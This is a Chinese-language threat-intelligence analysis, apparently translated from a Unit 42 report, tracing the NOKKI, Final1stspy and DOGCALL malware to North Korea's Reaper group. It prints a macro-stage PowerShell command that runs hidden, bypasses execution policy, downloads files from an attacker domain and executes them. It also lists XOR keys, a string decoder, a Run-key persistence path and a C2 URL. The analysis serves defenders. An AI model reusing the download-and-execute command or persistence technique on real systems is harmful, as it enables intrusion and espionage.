导语:NOKKI恶意软件是新发现的恶意软件家族,与KONNI恶意软件有代码重叠。最新研究发现NOKKI与朝鲜的Reaper组织有关。
最近,unit 42研究人员发现了NOKKI恶意软件家族,主要攻击目标是说俄语和柬埔寨语的地区。经过分析发现该恶意软件攻击活动与Reaper组织有关。
其他安全公司的分析结果显示Reaper组织与朝鲜有关,主要攻击朝鲜关注的国家和组织,包括韩国的军事和国防工业、与朝鲜有生意往来的中东企业等。该组织的常用手法包括使用定制的恶意软件家族——DOGCALL。DOGCALL是一款远程访问木马(RAT),使用第三方主机服务来上传数据和接受命令。
本文主要分析NOKKI恶意软件与DOGCALL恶意软件家族的关系,以及与应用DOGCALL的恶意软件家族的相关信息,研究人员根据恶意软件中的pdb字符串将其名命名为Final1stspy。
恶意宏
在分析NOKKI恶意软件时,unit 42研究人员发现从2018年7月开始的一系列攻击活动都使用了word文档中的恶意宏。这些宏本质上并不复杂,而且只尝试执行:
·下载和运行可执行恶意软件payload;
·下载和打开word诱饵文档。
为了避免被检测到,恶意宏使用了简单的字符串混淆技术——base64编码。不同的是,恶意软件首先将base64编码的文本变成十六进制,然后再将十六进制转换为文本字符串。
图1 下载和执行远程payload的恶意宏文件
图2 应用反混淆方法的恶意宏文件
通过搜索传播NOKKI样本的反混淆技术,研究人员发现另一个文件。该文件有以下特征:
基于原始文件名,可用推测该恶意软件样本的攻击目标是对2018年俄罗斯事世界杯感兴趣的人。从下图可用看出,样本之间的反混淆方法和作者的注释都是相同的 :
图3 NOKKI dropper与World Cup predictions dropper的相似处
虽然反混淆方法是相同的,但宏文件的真实共那个有所不同。NOKKI dropper样本会下载payload和诱饵文件,而World Cup predictions恶意软件样本会下载和执行一个封装再HTML中的远程VB脚本文件,并把文本加入到原始word文档之后来引诱受害者。
诱饵文件含有来自英国ESPN网站文章的公开内容:
World Cup predictions.doc文件的执行链完成后,受害者机器上会执行一个DOGCALL恶意软件样本。
恶意软件使用的评论诱饵和payload正说明了DOGCALL属于Reaper,隶属朝鲜的威胁单元。
恶意软件执行
World Cup predictions.doc运行后,会继续从下面的链接下载VBScript文件:
http://kmbr1.nitesbr1[.]org/UserFiles/File/image/home.html
VBScript文件使用的反混淆方法与前面描述的完全相同。当第二阶段VBScript文件执行时,会将数据1111:rom*E8FEF0CDF6C1EBBA90794B2B写入%APPDATA%\Microsoft\mib.dat。该文件之后会被Final1stspy恶意软件家族使用。
该文件写入后,会执行下面的命令:
objShell.Run "cmd.exe /k powershell.exe" & " " & "-windowstyle" & " " & "hidden" & " " & "-ExecutionPolicy Bypass" & " " & "$h='%APPDATA%/Microsoft/Windows/msvcrt32.dll'" & ";" & "$f='%APPDATA%/Microsoft/ieConv.exe'" & ";" & "$x='" & "http://" & "kmbr1.nitesbr1.org" & "/UserFiles/File/image/images/happy.jpg" & "';" & "$t='" & "http://" & "kmbr1.nitesbr1[.]org" & "/UserFiles/File/image/images/wwwtest.jpg" & "';" & "(" & "New-Object System.Net.WebClient" & ")" & ".DownloadFile($t,$f)" & ";" & "(" & "New-Object System.Net.WebClient" & ")" & ".DownloadFile($x,$h)" & ";" & "Start-Process $f" & ";" & "Stop-Process" & " " & "-processname" & " " & "cmd", 0
代码执行后会下载两个文件:http:// kmbr1.nitesbr1[.]org/UserFiles/File/images/happy.jpg和http:// kmbr1.nitesbr1[.]org/UserFiles/File/images/wwwtest.jpg,并保存在 %APPDATA%/Microsoft/Windows/msvcrt32.dll和%APPDATA%/Microsoft/ieConv.exe。最后,VBScript文件会在新进程中执行之前下载的ieConv.exe文件。
这两个文件是之前未报告的dropper恶意软件家族Final1stspy的实例。
Final1stspy
Final1stspy恶意软件家族可用分为可执行文件和DLL。这些文件有下面的特征:
所有样本都是几周内编译的。另外,用来传播恶意软件的原始word文档的最后修改时间就是DLL编译前几天。
可执行文件和DLL都用了特定的路径来混淆重要的字符串。下面的python代码是用来解码字符串的:
import base64 data = "[Obfuscated String]" dataDecoded = b64decode(data) outVar = "" for char in dataDecoded: outVar += chr(((ord(char) + 122) ^ 0x19) & 0xff) print(outVar)
Final1stspy恶意软件开始时会寻找是否存在下面的文件:
·%APPDATA%\Microsoft\Windows\msvcrt64.dll
如果文件存在,恶意软件会加载DLL并尝试调用main_func函数。
如果文件不存在,恶意软件会寻找下面的文件:
·%APPDATA%\Microsoft\Windows\msvcrt32.dll
如果文件存在,恶意软件会0x50对文件进行XOR解密,并写入前面提到的msvcrt64.dll路径,并加载main_func函数。
DLL使用的字符串混淆方法与可执行文件中的相同。首先会收集基本的系统信息,必能通过设置指向%APPDATA%/Microsoft/ieConv.exe的注册表来确保驻留:
HKCU\Software\Microsoft\Windows\CurrentVersion\Run\rundll32
Final1stspy恶意软件家族会继续对之前的mib.dat文件进行阅读和语法分析。分析的数据会被用于之后的HTTP GET请求,表示Index、 Account、Group变量。
Final1stspy可用读取%APPDATA%/Microsoft/olevnc.ini文件,该文件中有许多变量,包括用户代理、URL、端口、内部计数器。如果文件不存在,恶意软件会用硬编码的用户代理和URL。特定的样本会与http://kmbr1.nitesbr1[.]org/UserFiles/File/image/index.php进行通信,使用的用户代理为Host Process Update。
恶意软件会继续向该URL发送HTTP GET请求,示例如下:
图4 Final1stspy恶意软件产生的HTTP请求
请求中有下面的GET参数:
恶意软件期望接收到的是一个payload,并用XOR key 0x49进行解密。Payload会在受害者机器上加载。解密后,会出现下面的payload:
通过编译的时间戳可用看出,该文件与Final1stspy可执行文件的编译时间非常接近。该payload已经被识别是属于DOGCALL恶意软件家族,可以在受害者设备上执行下面的动作:
·截屏
·记录键盘输入
·获取麦克风数据
·收集受害者信息
·收集感兴趣的文件
·下载和执行其他payload
恶意软件会与作为C2的第三方主机服务进行通信,包括:
·Dropbox
·pCloud
·Yandex Cloud
·Box
结论
研究人员分析恶意软件NOKKI和恶意软件KONNI存在代码重叠,进一步分析发现NOKKI恶意软件与朝鲜的Reaper组织有关。之间的关系有很多好玩的地方,比如朝鲜相关的诱饵信息和DOGCALL恶意软件payload。研究人员在分析过程中还发现一款之前没有报告过的恶意软件——Final1stspy。